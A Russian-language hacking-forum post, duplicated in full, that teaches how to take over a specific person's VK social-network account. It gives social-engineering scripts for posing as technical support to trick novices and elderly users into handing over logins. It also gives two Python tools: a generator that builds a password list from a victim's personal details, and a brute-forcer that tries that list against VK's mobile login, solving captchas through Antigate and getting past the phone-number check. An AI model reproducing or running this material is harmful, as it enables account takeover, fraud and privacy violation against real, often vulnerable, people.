jahh
Пассажир
- Сообщения
- 1
- Реакции
- 39
Этап №2 - "Собственно взлом"
В данном этапе вы должны получить доступ к аккаунту цели. Я опишу самые простые способы.
Основные способы:
1) "Социнженер"
Сразу скажу этот способ годится либо для совсем школьников, либо наоборот для стариков, которые мало что знают об интернете, но решили по каким-либо причинам зарегаться в соц.сети.
Если вы хотите просто попрактиковаться, то новички вк могут быть найдены
здесь - vk.com/catalog.php
В основном тут используется простой механизм. Человек, который не разбирается в чем-то, подсознательно доверяет более опытным юзерам/админам/техподдержке и принимает их слова на веру.
Тут можно создать аккаунт представителя техподдержки, создать "официальную" почту администрации и прочее. И придумать некую ахуительную историю. Что новые юзеры обязаны проходить проверку после регистрации и дать например ссылку на некий тест, по итогу или для входа которого требуется логин-пасс от вк. Главное в общем-то не заострять внимание на пароле. Просто писать,что можете ли вы написать мне свои данные от аккаунта не стоит. Следует убедить пользователя, что он в безопасности. Этот способ хорошо сочетается с фейком. Кроме того продвинутые социнженеры могут узнав номер юзера позвонив(разумеется анонимно, используя sip) и развести напрямую. Кроме того все извлеченная вами информация, например известный вам номер телефона/упоминание фактов с указанием дат/другое косвенно говорит о том, что вы из техподдержки(для лохов) или кулхацкер, как мы знаем.
В данном способе все зависит от вас, поэтому вы можете прокачать свои навыки на разного рода новичках в вк, а потом переходить к более-менее обычным юзерам.
2) "Умный брутфорс"
Брутфорс - это перебор пароля, кто не в курсе. Данная атака сработает, если наша цель - среднестатический юзер, который ставит слабые пароли на свои аккаунты, для более легкого запоминания.
Для него нам понадобится, заточенный исключительно под нашего юзера словарь. Такой неоткуда не возьмешь, поэтому составляем сами. Что у нас есть?
Представлю примеры(персонаж вымышленный).
-- Дата рождения - 17.11.1992 = 1711, 1992, 17111992
-- Возраст - 2016 - 1992 = 24
-- Имя - Стас = stas, ctac
-- Фамилия - Курягин = kuryagin,
-- Аккаунты - twitter.com/stasik_ku , facebook.com/stasss1992, stasss92 @ mail.ru = stasik_ku, stasss1992, stasss92
-- Увлечения - футбол, плавание, молодежка = football, swimming, molodejka, molodegka
Также есть страница вк, на которой написано какие пароли следует указывать, какие символы возможны и самые частые пароли.
Получился лист из 14 строк. Но из него еще нужно создать комбинации паролей, которые мог бы создать недалекий юзер.
Представляю вам мой небольшой скрипт на python, который этим и занимается.
[
razdel = ['_',':',';']
def uniq(seq):
seen = set()
seen_add = seen.add
return [x for x in seq if not (x in seen or seen_add(x))]
def brute_words(spisok):
spisok2 = []
for i in spisok:
spisok2.append(i)
spisok2.append(i[0].upper()+i[1:])
spisok2.append(i[0].upper()+i[1:-1]+i[-1].upper())
spisok2.append(i.upper())
for j in spisok:
spisok2.append(i+j)
for m in razdel:
spisok2.append(j+m+i)
spisok2.append(j+i)
spisok2.append(i+i+j)
spisok2.append(j+j+i)
spisok2.append(i[0].upper()+i[1:]+j)
spisok2.append(i[0].upper()+i[1:-1]+i[-1].upper()+j)
return uniq(spisok2)
def generate(spisok_file):
o = open(spisok_file,'r')
spisok = o.read().splitlines()
for i in brute_words(spisok):
print i
def main():
try:
argv1 = sys.argv[1]
generate(argv1)
except IndexError:
print "Нужно указать файл"
except IOError:
print "Нет такого файла"
if name == "main":
main()
]
Из 14 получилось 1272 варианта. Приведу часть.
Molodegkactac
MolodegkActac
molodejka_molodegka
Stasss92molodejka
stasss92molodegka
molodegka_stasss92
molodegka:stasss92
molodegka;stasss92
stasss1992swimming
swimming_stasss1992
Kurayginctac
KuraygiNctac
kurayginkuraygin
kuraygin_kuraygin
molodegka17111992
1711199217111992molodegka
molodegkamolodegka17111992
24
1711_24
и тд...
Но что же с этим делать? Не сидеть же и перебирать вручную каждый пароль.
Разумеется, необходимо все более или менее автоматизировать.
Для этой цели я набросал небольшой скрипт, который брутит через мобильную версию вк.
[
from antigate import AntiGate
from grab import GrabTimeoutError
from time import sleep
cap_key = '123 ' #Ваш ключ с антигейт
def anti(key, file): #Получение решения капчи с антигейт
try:
try:
data = AntiGate(key, file)
return data
except KeyboardInterrupt:
print "Завершение"
except:
anti(key,file)
def save(url, file): #Скачивание файла по урл
f = urllib2.urlopen(url)
f2 = open(file, 'wb')
f2.write(f.read())
def cap_solve(img):
save(img, 'captcha.jpg')
key = anti(cap_key, 'captcha.jpg')
return key
def brute(login,passwords,save):
o = open(save,'w')
o2 = open(passwords,'r')
try:
int(login)
prefix = True
except:
prefix = False
g = grab.Grab()
g.go('
for i in o2:
i2 = i.rstrip('\r\n')
g.doc.set_input('email',login)
g.doc.set_input('pass',i2)
g.doc.submit()
if g.doc.text_search(u'captcha'):
c1 = re.findall('"(/captcha.php[^"]*)"', g.response.body)[0]
c2 = '
key = cap_solve(c2)
g.doc.set_input('email',login)
g.doc.set_input('pass',i2)
g.doc.set_input('captcha_key',str(key))
g.doc.submit()
print "cap"
if 'Подтвердить' in g.response.body:
if prefix:
prefix1 = g.doc.rex_search('<span class="field_prefix">\+[0-9]*</span>').group(0)
prefix2 = g.doc.rex_search('<span class="field_prefix"> [0-9]*</span>').group(0)
pre1 = re.findall('[0-9]{1,}', prefix1)[0]
pre2 = re.findall('[0-9]{1,}', prefix2)[0]
login = login.replace(pre1,'')
login = login.replace(pre2,'')
g.set_input('code', login)
g.submit()
print login + ':' + i2 + '--success'
o.write(login + ':' + i2 + '\n')
else:
o.write(login + ':' + i2 + '\n')
else:
if g.doc.rex_search('<title>[^>]+</title>').group(0) == '<title>Login | VK</title>':
print login + ':' + i2 + '--fail'
else:
print login + ':' + i2 + '--success'
o.write(login + ':' + i2 + '\n')
o.close()
o2.close()
]
Он для одиночной цели, не стал делать прокси,многопточность и прочие фишки.
А то школьники еще поломают кого)
За то он может сам ввести недостающие цифры в защиту вк заходе с другой страны. Также с помощью антигейт запросто вводит капчи, которые появляются после 5-6 попытки ввода с одного айпи.
В данном этапе вы должны получить доступ к аккаунту цели. Я опишу самые простые способы.
Основные способы:
1) "Социнженер"
Сразу скажу этот способ годится либо для совсем школьников, либо наоборот для стариков, которые мало что знают об интернете, но решили по каким-либо причинам зарегаться в соц.сети.
Если вы хотите просто попрактиковаться, то новички вк могут быть найдены
здесь - vk.com/catalog.php
В основном тут используется простой механизм. Человек, который не разбирается в чем-то, подсознательно доверяет более опытным юзерам/админам/техподдержке и принимает их слова на веру.
Тут можно создать аккаунт представителя техподдержки, создать "официальную" почту администрации и прочее. И придумать некую ахуительную историю. Что новые юзеры обязаны проходить проверку после регистрации и дать например ссылку на некий тест, по итогу или для входа которого требуется логин-пасс от вк. Главное в общем-то не заострять внимание на пароле. Просто писать,что можете ли вы написать мне свои данные от аккаунта не стоит. Следует убедить пользователя, что он в безопасности. Этот способ хорошо сочетается с фейком. Кроме того продвинутые социнженеры могут узнав номер юзера позвонив(разумеется анонимно, используя sip) и развести напрямую. Кроме того все извлеченная вами информация, например известный вам номер телефона/упоминание фактов с указанием дат/другое косвенно говорит о том, что вы из техподдержки(для лохов) или кулхацкер, как мы знаем.
В данном способе все зависит от вас, поэтому вы можете прокачать свои навыки на разного рода новичках в вк, а потом переходить к более-менее обычным юзерам.
2) "Умный брутфорс"
Брутфорс - это перебор пароля, кто не в курсе. Данная атака сработает, если наша цель - среднестатический юзер, который ставит слабые пароли на свои аккаунты, для более легкого запоминания.
Для него нам понадобится, заточенный исключительно под нашего юзера словарь. Такой неоткуда не возьмешь, поэтому составляем сами. Что у нас есть?
Представлю примеры(персонаж вымышленный).
-- Дата рождения - 17.11.1992 = 1711, 1992, 17111992
-- Возраст - 2016 - 1992 = 24
-- Имя - Стас = stas, ctac
-- Фамилия - Курягин = kuryagin,
-- Аккаунты - twitter.com/stasik_ku , facebook.com/stasss1992, stasss92 @ mail.ru = stasik_ku, stasss1992, stasss92
-- Увлечения - футбол, плавание, молодежка = football, swimming, molodejka, molodegka
Также есть страница вк, на которой написано какие пароли следует указывать, какие символы возможны и самые частые пароли.
Пожалуйста Войдите или Зарегистрируйтесь чтобы видеть скрытые ссылки.
Получился лист из 14 строк. Но из него еще нужно создать комбинации паролей, которые мог бы создать недалекий юзер.
Представляю вам мой небольшой скрипт на python, который этим и занимается.
[
! coding:utf-8
import sys,osrazdel = ['_',':',';']
def uniq(seq):
seen = set()
seen_add = seen.add
return [x for x in seq if not (x in seen or seen_add(x))]
def brute_words(spisok):
spisok2 = []
for i in spisok:
spisok2.append(i)
spisok2.append(i[0].upper()+i[1:])
spisok2.append(i[0].upper()+i[1:-1]+i[-1].upper())
spisok2.append(i.upper())
for j in spisok:
spisok2.append(i+j)
for m in razdel:
spisok2.append(j+m+i)
spisok2.append(j+i)
spisok2.append(i+i+j)
spisok2.append(j+j+i)
spisok2.append(i[0].upper()+i[1:]+j)
spisok2.append(i[0].upper()+i[1:-1]+i[-1].upper()+j)
return uniq(spisok2)
def generate(spisok_file):
o = open(spisok_file,'r')
spisok = o.read().splitlines()
for i in brute_words(spisok):
print i
def main():
try:
argv1 = sys.argv[1]
generate(argv1)
except IndexError:
print "Нужно указать файл"
except IOError:
print "Нет такого файла"
if name == "main":
main()
]
Из 14 получилось 1272 варианта. Приведу часть.
Molodegkactac
MolodegkActac
molodejka_molodegka
Stasss92molodejka
stasss92molodegka
molodegka_stasss92
molodegka:stasss92
molodegka;stasss92
stasss1992swimming
swimming_stasss1992
Kurayginctac
KuraygiNctac
kurayginkuraygin
kuraygin_kuraygin
molodegka17111992
1711199217111992molodegka
molodegkamolodegka17111992
24
1711_24
и тд...
Но что же с этим делать? Не сидеть же и перебирать вручную каждый пароль.
Разумеется, необходимо все более или менее автоматизировать.
Для этой цели я набросал небольшой скрипт, который брутит через мобильную версию вк.
[
! coding: utf8
import grab,re,urllib2from antigate import AntiGate
from grab import GrabTimeoutError
from time import sleep
cap_key = '123 ' #Ваш ключ с антигейт
def anti(key, file): #Получение решения капчи с антигейт
try:
try:
data = AntiGate(key, file)
return data
except KeyboardInterrupt:
print "Завершение"
except:
anti(key,file)
def save(url, file): #Скачивание файла по урл
f = urllib2.urlopen(url)
f2 = open(file, 'wb')
f2.write(f.read())
def cap_solve(img):
save(img, 'captcha.jpg')
key = anti(cap_key, 'captcha.jpg')
return key
def brute(login,passwords,save):
o = open(save,'w')
o2 = open(passwords,'r')
try:
int(login)
prefix = True
except:
prefix = False
g = grab.Grab()
g.go('
Пожалуйста Войдите или Зарегистрируйтесь чтобы видеть скрытые ссылки.
')for i in o2:
i2 = i.rstrip('\r\n')
g.doc.set_input('email',login)
g.doc.set_input('pass',i2)
g.doc.submit()
if g.doc.text_search(u'captcha'):
c1 = re.findall('"(/captcha.php[^"]*)"', g.response.body)[0]
c2 = '
Пожалуйста Войдите или Зарегистрируйтесь чтобы видеть скрытые ссылки.
' + c1key = cap_solve(c2)
g.doc.set_input('email',login)
g.doc.set_input('pass',i2)
g.doc.set_input('captcha_key',str(key))
g.doc.submit()
print "cap"
if 'Подтвердить' in g.response.body:
if prefix:
prefix1 = g.doc.rex_search('<span class="field_prefix">\+[0-9]*</span>').group(0)
prefix2 = g.doc.rex_search('<span class="field_prefix"> [0-9]*</span>').group(0)
pre1 = re.findall('[0-9]{1,}', prefix1)[0]
pre2 = re.findall('[0-9]{1,}', prefix2)[0]
login = login.replace(pre1,'')
login = login.replace(pre2,'')
g.set_input('code', login)
g.submit()
print login + ':' + i2 + '--success'
o.write(login + ':' + i2 + '\n')
else:
o.write(login + ':' + i2 + '\n')
else:
if g.doc.rex_search('<title>[^>]+</title>').group(0) == '<title>Login | VK</title>':
print login + ':' + i2 + '--fail'
else:
print login + ':' + i2 + '--success'
o.write(login + ':' + i2 + '\n')
o.close()
o2.close()
]
Он для одиночной цели, не стал делать прокси,многопточность и прочие фишки.
А то школьники еще поломают кого)
За то он может сам ввести недостающие цифры в защиту вк заходе с другой страны. Также с помощью антигейт запросто вводит капчи, которые появляются после 5-6 попытки ввода с одного айпи.